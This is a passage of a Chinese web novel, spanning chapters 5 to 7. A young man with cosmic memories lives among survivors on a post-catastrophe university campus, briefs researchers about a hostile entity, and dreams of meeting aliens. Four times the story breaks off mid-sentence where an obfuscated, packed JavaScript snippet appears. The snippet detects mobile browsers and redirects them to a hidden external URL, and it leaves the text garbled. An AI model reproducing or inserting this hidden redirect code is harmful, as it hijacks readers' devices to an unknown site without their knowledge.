“这也是目前校园里唯二还具备相应功能的设施……当然,运营方式和原本正常经营时完全不同。” 顾瑞生想到正巧要去C1还东西,便点头同意了。 等他跟着中年人来到C1,他便发现这里距离校医院也很近,确实是个好地方。 他谢绝了中年人帮忙把东西抬上楼的提议,自己单手拎着东西便上楼了。 C1一共只有六层,一层二十个宿舍,每个宿舍都是四人寝,上床下桌,越往上人越少。 顾瑞生本来想住在楼顶,因为这样下面就能多空出来一个房间,但是走到五楼的时候就已经彻底没人居住了。 因为没有集体供电,感应灯自然也没有亮起,只有走廊尽头的窗户在地面上投射出一抹如血的残阳,搭配昏暗的楼道有一种说不出来的味道。 顾瑞生原地沉默两秒,默默又下了一层。 四楼还有一半的房间没有住人,顾瑞生随便选了一个。 房间中已经落满了灰尘,但原本居住在这里的人应该都很爱干净,东西摆放得很整齐,其中三个位置桌子上还有一些书本,但床上已经没有了被褥。 顾瑞生想起,沉眠纪元突然降临之时正巧是寒假刚要开始的时候。 那些人当时应该都已经回家了吧。 除了唯一东西多一些的一号床。 一号床附近的物品摆放得有些凌乱,但能看出那并不是原主平时的习惯,大概只是在黑暗中不小心碰掉了东西。 一个印着【XX精神卫生中心出院留念】的搪瓷杯子旁边是一大堆被撕开了的胶囊咖啡,顾瑞生粗略一数都有二三十个。 他探头望向杯子,其中残留的液体早就发霉变质,但从遗存的现场不难推断,杯底曾经有一部分没能完全融化的、现在已经完全干涸的泥状物。 不知怎么的,顾瑞生就是知道那二三十个胶囊咖啡是一次性摄入的。 这是绝望中的一次尝试,顾瑞生不知道对方有没有成功。 他缓缓收回视线,在另一张桌子上简单收拾好一片区域,将自己的东西放在上面后,打算先去还车。 越是往下,人便越多,声音嘈杂,顾瑞生心底便安定了些。 203的门没有关,除了那位中年女性,在超市帮过他的中年男人竟然也在。 见到顾瑞生和他手中的手推车后,男人露出了然的神色:“我俩刚才还;聊呢,她说今天遇见一个很好看的小伙儿,我说我也遇见一个,手上的推车还和咱家的很像。” 说完,他咯咯咯乐了半天,顾瑞生趁着这个时候从口袋中掏出了一些零食,全是程老之前给他的精神损失费。 “谢谢你们之前的帮助。” 两人也不推辞,热情地接下了。 中年女性看着其中一样零食的包装突然说道:"我们家孩子之前很喜欢吃这个。” 她看着顾瑞生的脸,思维却飘的很远:“他现在应该比你还大了吧……" 顾瑞生陷入了沉默,男人用手肘怼了妻子一下,“不好意思,我家孩子没死……至少我们是这么希望的,当时他正好在这里读书,跳了好几级,刚上大学的时候才十三岁。我和他妈妈是农村人,得在老家干活,没条件陪读,他也懂事又听话,什么事情都不用我们。” “放假之前我们本来通电话说要来接他,但不小心被耽误了。” “这一接,就接了整整八年。” 顾瑞生离开的时候,这对夫妻还送他了一块烤面包。 说是烤面包,但其实是用铁锅烙的。中年女人一辈子生活在农村,用惯了老式灶台,对明火烹饪很是熟悉,后续也在短短几年之内迅速练出了用铁锅完成一切烹饪过程的神奇技巧。 “我们家孩子说他出来上学之后发现外面有好多好吃的面包蛋糕小零食,还说要请我们吃来着。” 中年女人当时是这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074244|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释的:“后来在路上的时候,也吃到了点小蛋糕、小面包啥的,确实好吃,不过现在所有面包店都黄了,剩下的袋装小面包也不知道什么时候会消耗没,所以只能琢磨着去做了。” 她说靠人不如靠自己,要时刻准备着。 她还和顾瑞生说如果尝过喜欢的话可以再找她要,有什么改进想法的话也都可以提。 顾瑞生带着烤面包告别了中年夫妇,两人一直送他到楼梯口,直到拐弯上楼才彻底看不见对方的身影。 站在自己无人的宿舍中,他低头咬了一口面包。 烤面包外脆里软,加了一些切碎了的火腿肠,吃着很香,甜甜咸咸的。 顾瑞生吃完之后拍了拍手,重新收拾起屋子。 他将地上的垃圾都扔掉,洗好了一号床的杯子,把之前被撞乱的物品摆放整齐,像一切尚未降临时一样。 在挑选床位的时候,顾瑞生犹豫了一下,最后随便选了一个空床爬上去。 学校的宿舍总是人来人往,本来就该这样。 不知是不是之前经历的事情太多,他很快便感觉眼皮有些发沉。 迷迷糊糊的时候,顾瑞生又听到有人念叨自己的尊名,声音很熟悉,是刚刚遇见的那对中年夫妻。 他们谈论着孩子。 对话中却没有孩子的声音。 ……好吧。 第二天醒来后,顾瑞生不得不更正自己原本的想法。 百分之一的乌托邦。 简单洗漱并解决早餐之后,顾瑞生找到了之前的办公室。 他没有钟表,只是大概估算现在应该很早,但程老和严卓竟然已经坐在办公室里,并且一副已经工作很久了的模样。 见到顾瑞生后,程老对他露出了一个笑。 不过不知道是不是有昨天最后的印象加成,顾瑞生总觉得这笑容里透露着一丝尴尬。 这时他才注意到,程老的手好像受了伤,此时正用硬纸板和医用胶带缠着固定。 注意到顾瑞生的视线,程老摆摆手:“这个啊,没事,不小心杵了一下。” 他轻轻咳嗽了两声:“不过因为这个,所以今天可能确实需要助手帮忙。” 顾瑞生转向那个一见面就问他有没有男朋友的人。 严卓依旧是那副没什么表情的模样,但自顾瑞生进门之后,这人便一直盯着他看。 男人的瞳色很深,高眉骨,哪怕什么都不说,只是静静地注视都给人一种深情又认真的感觉。 顾瑞生有些担忧对方这不知从何而来的感情会影响接下来的工作,思考了片刻,很快便打算将话说清楚。 “我没有男朋友。” 严卓:“那——” 顾瑞生:“我也不打算谈一个。” 他十分认真地解释道:“并不是说你不够好,实际上,如果只看外表的话,你确实是我喜欢的类型。” 顾瑞生能看见严卓微微睁大了眼睛,表情变得生动之后,男人更符合他的审美了。 可惜—— “只是你来的有点晚了。” 晚了一个世界那么久吧。 5. 第 5 章 顾瑞生的态度没有一丝的敷衍,任何人都能听出他的认真。 被如此郑重地拒绝,严卓垂下眼,看不太清表情。 顾瑞生直觉这事还没完。 这让他有些头疼。 程老在一旁试图卷纸筒,但残着一只手实在是不方便,只能退而求其次地咳嗽两声:“我们今天还要赶昨天原本的进度,抓紧时间快点开始吧。” 顾瑞生舒展眉心,严卓仔细分析了一下眼前青年的情绪,也乖乖地拿起纸笔。 但真要开始的时候,顾瑞生却卡了壳:“从哪里开始比较好?” 过长的岁月让他遗忘了不少东西,就连剩下的部分也都有不同程度的畸变。 比如顾瑞生分不清到底什么情报重要,什么情报没人在乎,什么话能说,什么话应该永远憋在肚子里。 有时可能只是无心的一句,就会让对方被无形的东西定位,最终引发惨案。 所以之前和苏行止交流的时候,他也只是简略描述了自己的经历,并表达了自己想要提供帮助的意愿。 程老解释道:“脑海中突然冒出不属于自己的记忆的人,我们称之为‘信息茧’,这种人的记忆一般都是碎片化的,他们能想起什么,我们就记什么。” 顾瑞生有些发愁,因为这个方法对他行不通。 虽然大部分情况下他只是和静滞之瞳一起在宇宙中毫无目的地漂泊,但就算是这样,剩下的部分说上十年八年也是说不完的。 顾瑞生沉吟片刻:“要不然你们想知道什么,直接问我?” 程老随即问道:“那你知道要怎么才能把那东西从地球上赶走吗?” 他没有明说“那东西”是指谁,但现场的所有人都知道指代的内容。 这个问题顾瑞生五年前动手之前也是思考过的,“如果想要彻底解决问题,就只能把祂赶走或者消灭。” “先说结论,这是不可能的。” 其语气中的笃定让程老眼皮一跳。 顾瑞生没有注意这个细节,逐步分析:“首先,祂们那种存在虽然有思想,但却不能沟通,我们和祂们之间的区别比人类和蚂蚁还要大。” “比如,人类虽然有远超蚂蚁的力量,可以掌控蚂蚁的生死,却做不到影响甚至控制蚂蚁的思维,也不能使蚂蚁的形态发生质的改变。” “祂们是另一种完全不同的生命体,人类无论做什么,祂们都不会放在眼里,更不会因此而改变自己的行为。” 程老试着假设:“那如果有和祂同级别的生命体下场参与呢,会有影响吗?” 顾瑞生偏头:“做个不太恰当的比喻,宇宙是一个巨大的丛林,每颗星球都是丛林中的石头,人类是石头上的微生物,而祂们是丛林中的野兽。” “祂们没有族群,每个都自成一派,所以丛林中也没有形成真正的食物链,每次两两相遇,都只能现场评估彼此的实力,一般不会轻易动手。” “但我们地球上现在盘踞着的这个坏东西不是‘一般’情况,祂基本算是丛林中的疯狗,见谁都要上去咬一口,并且实力强劲,还没有谁能从祂手上讨得好处。” 说到这里顾瑞生停顿了一下。 硬要说的话,其实也有一个。 ——静滞之瞳。 顾瑞生没见过静滞之瞳动手的模样,但祂的防御确实是最顶尖的。 坏东西曾经挑衅过祂,但一直被冷处理。 时间久了,坏东西自觉这样没什么意思,后来便干脆当静滞之瞳不存在。 就像宇宙中的大多数生命体一样。 而作为目前已知的唯一可以和坏东西打擂台的存在,想勾.引静滞之瞳下场却是难上加难。 反正在顾瑞生看来,这个可能性比人类突然开发出等离子火花塔,全员变成奥特曼还要再低一些。 所以五年前面对坏东西的时候,顾瑞生虽然知道自己不是对手,也知道只靠自己的话一定没什么好下场,他也还是没有开口寻求帮助的意思。 顾瑞生眨眨眼,很快调整好了心态。 “消灭就更不用说了,祂们不死不灭,就算是黑洞或者恒星都只是他们的工具甚至玩具,人类没有一战之力。” “我不建议与其正面对上。” 程老皱着眉再度确认:“真的一点可能性都没有吗?” 顾瑞生想到了什么,沉思片刻,但还是摇了摇头。 “没有。” 他强调道:“而且最好抓紧时间,谁也不知道祂现在的状态到底如何。” 程老思考片刻,随后从沙发上起身,“你们先谈,我找点东西。” 他嘱咐严卓:“今天先以核对情报为主,把之前我们得出过的结论再对一下真伪。” 他向青年寻求意见:“可以吗?” 顾瑞生耸耸肩,表示自己都行。 吩咐好一切,程老便开始翻箱倒柜,一本本地翻找过去的笔记。 沙发区只剩下顾瑞生和严卓两个人独处。 顾瑞生本以为接下来的相处多少会有些尴尬,但出乎预料的,严卓表现出了相当的职业素养,没有一句不该有的废话,每次问答都在点上。 两人之间的相处相当轻松。 有那么一瞬,顾瑞生甚至怀疑对方之前是不是只是说着玩的,其实本身并没有那种想法。 随着工作的推进,顾瑞生说的多了,嗓子便开始有些冒烟。 严卓起身找来一个玻璃杯,从保温壶中倒了些热水,又不知从哪掏出一罐蜂蜜,往里加了一勺,搅匀,递给面前的人。 顾瑞生接过,喝了一口,咂咂嘴,又喝一口。 心态放松之后,视线也更加随意起来。 顾瑞生将目光投向了严卓的手。 在只靠纸笔的情况下,想要跟上人类的语速是很难的,更别提是如此重要的内容。 哪怕遗漏一点细则,或者记错一个要点,都有可能在未来造成不可估量的影响。 笔尖在纸面上滑动的声音稀稀疏疏,速度很快,却不显慌乱,每一笔都带着自信与坦然。 只是偶尔,顾瑞生会觉得对方的笔顺并好像并不完全是在写字。 他有点想看看对方的笔记最终记成了什么样子,但想起自己现在并不识字,万一对方询问有没有遗漏场面会很尴尬,最终还是放弃了这个想法。 过了几个小时,大概应该是午饭的时间,敲门声响起,昨天见过的中年女人在得到允许后进门,送来了简单的午餐。 在看见顾瑞生的时候,中年女人脸上先是露出掩饰不住的震惊,随后很快其中便参杂进了一缕克制的哀伤。 在离开之前,她紧紧地握了下顾瑞生的手,仿佛这样就能将自己的力量传递给他。 顾瑞生不知道发生了什么,但他觉得中间肯定有一些误会。 这点小小的困惑在傍晚的时候得到了解答。 结束了一天的核对工作,在离开之前,程老终于从面前的一大堆笔记中抽身,叫住了顾瑞生。 “对了,还有一个事情。” 他的表情严肃:“大部分信息茧脑海中不属于自己的记忆都会渐渐消退,但是也有极少数的部分会越陷越深。” “这部分人到最后甚至有可能产生身体上的变异,所以你最好调整好自己的情绪,这样多少能避免最糟糕的情况发生。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074245|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾瑞生深吸一口气,情绪突然低落,但也没说什么,“嗯。” 严卓看看顾瑞生,又望向程老,“为什么要和他说这个?” 程老愣了一下。 之前每次遇见信息茧,他们都会将其中的危险告知对方,他不清楚为什么这次就不对了。 顾瑞生也望向严卓,却见男人的脸上流露出真情实感的困惑,“他的情况和信息茧完全不同,这点之前他不是已经说过了吗?” “……你说的对。” 程老对顾瑞生表达了歉意:“真是抱歉,这已经是第二次了,以后肯定不会再犯。” 顾瑞生摇了摇头,表示自己并不真的介意。 关上办公室的门后,顾瑞生站在空旷无人的走廊中,缓缓吸气,一直到胸腔被充盈到最大限度,甚至有了些窒息的感觉。 真是…… 可惜了。 * 在顾瑞生离开之后,程老小心翼翼地看了严卓一眼。 光从表情很难看出他的真实情绪。 突然,严卓转向程老,问道:“他之前说我来晚了,是什么意思?” 程老:“……” 合着这事你还没忘呢? 他松了一口气的同时,忍不住上前去看严卓手中的笔记:“你有没有好好记录,我和你说,小顾这孩子一看就是那种负责任的人,不会喜欢工作不认真的混子的。” 严卓任由对方抢走自己手中的笔记,程老一眼便看见了笔记最中间的速写,而零星的几个关键字则被完全挤在角落里。 程老:“……” 在程老跳脚之前,严卓不紧不慢道:“当然,每一句话我都记得,一字不差,今天之内我会把文字版总结给你。” 说到这里严卓顿了一下,“你还没有回答我之前的问题。” 程老翻了个白眼,“谁知道呢,说不定是有白月光。” “他说了自己没有男朋友。” “我没教过你白月光是什么意思吗?白月光就是喜欢,但一直没得到的意思。” 程老恶狠狠地说道:“所以没有男朋友不代表没有白月光,而且因为大脑会不断美化记忆,通常情况下有白月光比有男朋友还难搞。” 严卓摸了摸自己的脸:“我一定会比他的白月光还好。” 程老:“…………” 程老:“也说不定就是受过情伤,所以不想再谈恋爱了。” 严卓的眼神一下子凶狠起来,但很快又归于平静。 “我会努力让他走出来的。” 你自己能不能先走出来一点醒醒脑子? 不对,等一等。 程老突然意识到了什么,“你小子是不是已经开始行动了?” 见严卓偏偏头好像不理解他说的话,程老紧促起眉,“你难道是真的认为顾瑞生描述的记忆都是他真实经历过的事情吗?” “当然。” 严卓反问:“为什么不信?” 程老的表情变得更加严肃,“顾瑞生不可能真的是那种存在,他是鲜活的。” 他指着桌面上摊开的本子,“我们之前早就得出过结论,那些存在的能量会受到情感波动的影响。” “一旦有了感情,能量便有了消耗,和突变的可能。” “所以为了稳定,祂们不但天生无情,并且就算真的产生了某种类似情感的波动,第一反应也只是会将其从身上剔除。” 程老直直地望向严卓的眼睛。 “感情对他们来说,是毒药,是脓疮,是无声无息的慢性死亡。” “如果顾瑞生描述的是真的,那他早就应该死在宇宙里了。” 6. 第 6 章 顾瑞生做了个梦。 或者说他记起了一段回忆。 那是他刚穿越到静滞之瞳身上还没几年时发生的事情。 一开始的画面稀疏平常,只是静滞之瞳在宇宙中随处乱飘,而顾瑞生被迫被扯着一起。 宇宙的广阔毋庸置疑,即使是对于本体和某些小行星一般大的静滞之瞳来说,眼前景象的变化也是极其缓慢的。 时间与空间的双重定位均已失准,人类一直宣扬着的意志在没有尽头的孤独前不堪一击。 有那么一瞬间,顾瑞生觉得自己理解了静滞之瞳的寡言和冷淡。 也许祂不是单纯的冷漠,只是在长久的孤独中罹患老年痴呆而已。 “……” 虽然在梦境之中,但依旧十分清醒,像隔着一层透明薄膜窥探着自己过去的记忆、乃至心中所想的顾瑞生陷入了沉默。 他记起自己曾经有那么一段时间,靠着腹诽静滞之瞳来维持人性,并在内心深处渴求对方有所回应。 最极端的时候,顾瑞生甚至想着,哪怕对方听到自己的谩骂后生气了都好。 说不定他还能因此获得解脱。 突然,顾瑞生眼角的余光中,也是梦境的边缘处,出现了一艘很小的宇宙飞船。 那飞船看上去像个游戏手柄,由某种不知名的银色金属锻造而成,整体看上去扁扁的,左右两边的推进器占据了飞船的大部分空间。 那飞船在刚看见静滞之瞳时,航行路线突兀地发生改变,绕了一个大圈,身体力行地诠释了什么叫扭头就跑。 但后来也不知道飞船内部发生了什么,顾瑞生远远就看见两个引擎中的一个彻底熄火,左右动力不再平衡,飞船开始原地转圈。 肉眼可见的纠结。 顾瑞生大概知道它们在纠结什么。 一开始顾瑞生穿越到静滞之瞳身上的时候,是像附身一样,从外表看不出任何异样。 后来有一天,不知道为什么,静滞之瞳突然将他整个人“排”了出来。 宇宙之中没有镜子,所以顾瑞生不知道自己的具体状态,但从小飞船突兀又及时的变化来看,他应该还挺显眼的。 说不定过不了多久,宇宙中便会传出静滞之瞳长了个人型针眼的丑闻。 顾瑞生当初这样想到。 转了差不多小几十圈后,飞船内部可能终于达成了某种协议,航行轨迹重新归于正常,并开始向着顾瑞生他们的方向追来。 推进器的功率被开到最大,无形的冲击波将零星的太空垃圾猛地推开,泛起阵阵涟漪。 看小飞船追着十分费力的样子,顾瑞生第一次意识到,静滞之瞳好像飘得还挺快的。 而等离得近了,顾瑞生又发现,自己现在好像还蛮大只的。 隔着很远的时候,顾瑞生就觉得那艘飞船很小,但真靠近了,他才发现对方竟然只有自己巴掌大一点。 小飞船在燃料耗尽之前赶上了他们。 一个可能是逃生舱的东西从飞船离体,那玩意只有顾瑞生一个指节的大小,刚离体的时候像个方形的小盒子,随后卡卡库库几下变型成一架又短又胖翅膀又小的大肚子小飞机,绕着顾瑞生开始转圈。 顾瑞生能感受到小飞机中生命体的存在,以及对方的状态。 它们正在观察他,并在发现顾瑞生的目光一直随着飞机移动时,情绪发生了剧烈的变化。 顾瑞生都能感受到,仿佛他就是它们中的一员。 那感觉就像在坐过山车,并且还是攀登到顶峰时,发现自己肩膀上的固定装置松动了的那种。 肾上腺素飙升,心脏不受控制地剧烈地颤动。 人的□□有时会比人的思维先做出选择,看来这点在宇宙中依旧适用。 而思维对□□的抗议有一票否决的权利,大概也是某种程度上的真理。 顾瑞生看着小飞机踌躇了片刻,随后孤注一掷似的,靠得更近了些。 顾瑞生抬手,那飞机便落在了他的手上。 一个穿着宇航服的小人从飞机里飘了出来,身后连着一根绳,手上拿着纸和笔。 顾瑞生又发现,自己现在的视力很好。 他不但能看清小人的动作,甚至连对方到底在纸上写写画画了什么也都看的一清二楚。 两边试图沟通。 因为顾瑞生是来自宇宙偏远地区的地球乡巴佬,不懂宇宙通用语,所以这个过程主要靠你画我猜。 小人试图询问顾瑞生是什么东西,而顾瑞生用摇头,摊手,面露疑惑等多种手段表示自己也不清楚。 猜了没几分钟,顾瑞生发现小人的动作开始变得缓慢,思维也有些凝滞。 其身后的绳子在这时突然拉紧,小人被收回飞机中,另一个陌生小人接替它,继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074246|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和顾瑞生写写画画。 接下来这个过程重复了很多次。 小人接替着小人,最后只剩下一个驾驶员,驾驶员开着小飞机返航,并又从飞船中替换一批新的小人过来。 之后再次重复、重复…… 一直到最后,连飞船上都只剩下最后一个驾驶员了,他们之间都没沟通出什么真正有价值的东西。 最后的驾驶员带着一飞船停止思考了的小人调转航向,试图驶离顾瑞生他们所在的区域。 顾瑞生下意识觉得有些失落,因为这是他几年内见过的唯一可以沟通的生命体。 不过他并没有真的开口挽留,因为他多少能感觉到,和自己——或者说和静滞之瞳离得太近对它们没有好处。 突然,可能就在顾瑞生觉得可惜的下一秒,他觉得脑海中有什么东西被拨动了一下。 还没飞多远的飞船的发动机突然一颤,剧烈地抖动起来,好像眨眼间便会彻底解体。 顾瑞生能感到自己的心脏突然被揪了一下 而且那感觉并不独属于他。 唯一能自由活动的驾驶员在经过剧烈的内心挣扎,最终被迫选择了弃船,逃生舱刚刚脱离飞船,飞船便开始扭曲,以完全不符合其锻造规则的方式开始变型,像一个突然活过来了的钢铁怪物。 管线变为了它的神经,钢铁构成了它的血肉,它们凝聚又重组,过程中顾瑞生还看见了一些好像真实生物零部件与机械混合而成的组织瘤似的东西。 梦境之中的顾瑞生被吓呆了,而梦境外的顾瑞生则发现了一些当时没有注意到的细节。 当时的顾瑞生直觉眼前发生的一切和自己有些关联,但不知道该如何停止,于是便下意识地闭上眼睛,专心要求自己静下心来,想要一切恢复原样。 而最后,虽然因为不熟悉自己的力量,所以没能达到想要的效果,但飞船的畸变依旧顺利停下,及时止损。 这是他记得的。 顾瑞生感觉到自己的意识好像脱离了梦境中的自己,正缓缓上升,可能是要醒了。 他最后看了一眼梦境中的景象。 视线中,静滞之瞳缓缓垂眼,盯着仍旧闭目祈祷的顾瑞生看了两秒,又远远望向仍旧在不停蠕动着的宇宙飞船。 只需一眼,一切都停止了变化,就像时间被永远定格在了上一秒。 这是他不记得的。 7. 第 7 章 太阳刚刚升起,日光透过稀薄的浮云和被擦到透亮的玻璃照射在顾瑞生的脸上,并随着时间缓慢攀升。 几天下来,虽然依旧没有捞到钟表这种奢侈的东西,但顾瑞生隐约摸索出了一套自己的估算时间的方法。 他每天睡觉之前会精准地在窗帘中间留出巴掌大的缝隙,第二天,当阳光顺着这条缝隙照到他的眼睛的时候,就到起床的时间了。 这个方法屡试不爽,前后误差在十分钟之内。 顺便一提,第一步的成功让顾瑞生一度认为,只要再给他一段时间,他就可以用自己高挺的鼻梁和完美的脸盘子搞出一个简易的日晷。 之前,这个原始闹钟唯一不好的一点是阴天的时候会失效。 现在这个绝妙的点子出现了新的漏洞。 顾瑞生发现,除了乌云遮住太阳,他遮住自己的眼睛也能达到类似的效果。 已经到了起床的时间,阳光下,顾瑞生的眼睛呈现出一种极淡的琥珀色,强光刺得他流泪,但顾瑞生并不想起床,并用被子蒙住了脑袋。 他此时正在认真思考人生。 一般来说,涉及神秘学的梦都不是白做的,其背后很可能蕴含着某种深层的意义。 就算顾瑞生现在从神秘学上来说无限逼近百分之九十九死,也不会影响这一点。 那么问题来了。 这个梦有什么意义? 总不能是想在这么多年之后,告诉顾瑞生其实他一开始比自己想象中更菜吧? ……或者是因为他没事的时候总念叨静滞之瞳,所以对方试图用这种方式告诉他要知道自己到底几斤几两? 不,这比之前的猜测还离谱,那家伙可没这么有人性。 纷杂的思绪在顾瑞生的脑海中快速闪现又更快地被否认,还没来得及正式开始分析,一阵敲门声打断了他的思路。 他直挺挺地坐直身子,翻身下床,虽然铁架床老旧,但顾瑞生动作娴熟,整个过程中没有发出一点声音。 他抓了抓自己凌乱的头发,假装自己已经起来很久了,在一号床的小镜子中确认自己外表没有任何破绽后,顾瑞生打开了宿舍的门。 门外是之前的那个中年女人,她脸上原本有些焦虑,但在看见顾瑞生应门后立刻将其收敛了起来,换成真心实意的笑容。 她是来叫顾瑞生一起吃早饭的。 顾瑞生心底有些愧疚,他没想到自己只是晚出现了差不多十五分钟,对方便已经担忧到要找上门来了。 在她第一次在校医院的办公室撞见顾瑞生之后,她和她的丈夫对他的态度便发生了变化。 两人先是向顾瑞生道歉,因为他们一直没有向顾瑞生做自我介绍,随后郑重地介绍了自己。 丈夫叫林深,妻子叫李晒秋。 后来,顾瑞生才知道,由于死亡率一直居高不下,所以部分人发展出了一种友善但边界感极强的社交方式。 他们会互相帮助,为彼此感到快乐,但不会深交,其中最明显的一点便是不主动交换姓名。 因为交换姓名就是另一种程度的熟悉,而熟人的离去会给人们带来压力,甚至死亡。 中年夫妇原本就是这种人。 他们虽然天性友善,但为了活得更久,为了某种可能,一直坚守着底线。 直到他们“发现”比自家儿子还小不少的顾瑞生身上发生了什么。 顾瑞生说他们误会了,自己还会存活很久很久,他们一边泪眼婆娑地点头称是,一边说他们会永远记住顾瑞生的名字。 顾瑞生沉默半晌,承诺自己也会永远记住他们的。 思绪回到当下,顾瑞生告诉李晒秋自己马上就来,随后花五分钟飞速洗漱换衣服,并最终来到102房间。 102房间是C1宿舍楼一进门的第一个宿舍,经过几代的努力,如今已经被改造成了C1宿舍楼的小型集体厨房。 原本的床桌已经被清空,连窗帘都被撤了下去,徒留朴素的水泥地面,杜绝了一切失火的可能。 靠窗的位置砌了一个土灶,出自林深之手,窗户是天然的抽油烟机,整体构造朴素但需要技巧,所以一般只有李晒秋一个人使用。 几人的早餐很简单,一人一份烙面包,还有一大份用不知名野菜和几块午餐肉罐头制成的炖菜,只加了一点点的食盐调味,可以吃出食材本身的味道。 顾瑞生帮着摆桌。 两夫妻节俭了一辈子,虽然现在只要不是特别浪费,水资源足够所有人类一直用到死,但他们还是能省就省,比如面包直接拿在手里吃,这样最后几人只需要洗装炖菜的大碗和三双筷子。 准备好了一切,几人围着桌子坐下,在动筷子前,顾瑞生偷瞥了眼中年夫妻,心底安静地重复了一遍。 丈夫叫林深,妻子叫李晒秋。 在他们吃饭的时候,也有人来来往往。 李晒秋每次做饭总是会多做一些,其它谁需要谁就自己去盛,最后一个人会自觉把锅洗了,并且所有吃过饭的人只要有机会就会往102填自己捡来的各种食材。 尤其是顾瑞生加入之后。 虽然因为彼此极强的边界感,顾瑞生和C1的其它住户基本没有正面交流,但不知为何,他们就是默契地翻出一些之前舍不得吃的好东西给顾瑞生加餐。 几天下来,好像真把他的气色养好了不少。 吃完饭后,几人各自去工作。 这次顾瑞生的目的地不再是校医院的办公室,而是大学城的南门。 距离他刚刚被苏行止捡回来已经过了差不多一个星期,最基础的情报早就对的大差不差了。 剩下的就是求证新情报的准确性,以及探究那些对不上的情报背后的原因。 为了这个,程老牵头组织了一个小队,纯自愿原则,够十个人就走。 顾瑞生一开始还以为在这种没有通讯,而且并不强制的情况下,十天半个月能凑齐人就不错了,却没想到第二天程老就告诉他回去好好收拾收拾东西,两天后出发。 来到集合地点,顾瑞生看见了好几个眼熟的身影。 这次行动的队伍中,只有五个是顾瑞生不认识的,剩下的严卓、程老、苏行止、谢临川全都是熟面孔。 几人此时正三三两两地站在一起,顾瑞生盯着正背对着自己整理行李的苏行止,缓缓眯起了眼睛。 严卓第一个发现了他的到来,一直像盯贼一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16074247|179309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样盯着严卓的程老紧随其后,一个大步上前,“来了呀,怎么样,吃饭了吗?要不要吃东西。” 顾瑞生望去。 程老其实一点也不矮,虽然老了之后缩了点,但也有一米八出头。 但严卓还要更高,两双眼睛就这样越过程老稍显稀疏的头顶看向顾瑞生。 顾瑞生:“……” 怎么办,有点想笑。 但是不能笑,他一会还要去找苏行止算账呢。 顾瑞生矜持地绷着连点了点头,和程老会和之后,将自己的行李和大家的放在一起,并特意调整了一下行李的位置,就为了毫无破绽地在苏行止面前绕一圈。 苏行止仍旧低头,没看见他。 顾瑞生握紧了拳头。 不过因为苏行止看上去实在太该被尊老了,所以他想了想,拳头很快又松开了。 位置一变,程老便遮不住严卓了,顾瑞生抬头就看见对方正在看自己。 他的视线下意识在对方脸上扫过,随后扭头去看这次同行的剩下几人。 那五个陌生人好像互相认识,三个身材精炼,皮肤被晒成小麦色,不知是当过兵还是林深那样的体力劳动者,剩下的两个都戴着眼镜,文质彬彬,年纪都不算小。 而作为在场中顾瑞生认识的最后一个人,谢临川手上正拿着一包零食时不时就往嘴里塞上一块,顾瑞生定睛一看,发现是三文鱼冻干,袋子上还印着个大大的白色猫头。 “……” 好像不是给人吃的。 但谢临川咔嚓咔嚓吃的很香。 “……” 就在顾瑞生陷入沉思的时候,他余光看见严卓朝着自己走来,并从随身背包里掏了什么东西出来。 顾瑞生低头一看。 严卓的骨架大,骨节也突出,握着东西的时候就更明显了,包括手上的青筋都看的一清二楚。 但是再显眼,也没有严卓手上的东西显眼。 那是一包鸡肉冻干。 也是猫吃的。 顾瑞生的内心剧烈地挣扎了片刻,此间,严卓好像明白了什么,撕开包装,并主动塞自己嘴里了一块。 白花花的鸡胸肉冻干看起来其实让人没什么食欲,但闻着却很香,而且干干的,咀嚼时的声音很像在吃肉松。 顾瑞生还在犹豫,严卓眯起眼睛感受了一下,随后从背包里又掏出了两罐调味料,一罐是盐,一罐是混了辣椒面等其它乱七八糟东西的香辛料,往袋子里撒了些,隔着袋子把鸡胸肉掰得松散些,摇匀。 再打开袋子的时候,每块鸡胸肉上都均匀地沾上了调料,严卓又捡起一块尝了尝,随后从背包里拿出一小包芝士粉,重复最初的动作。 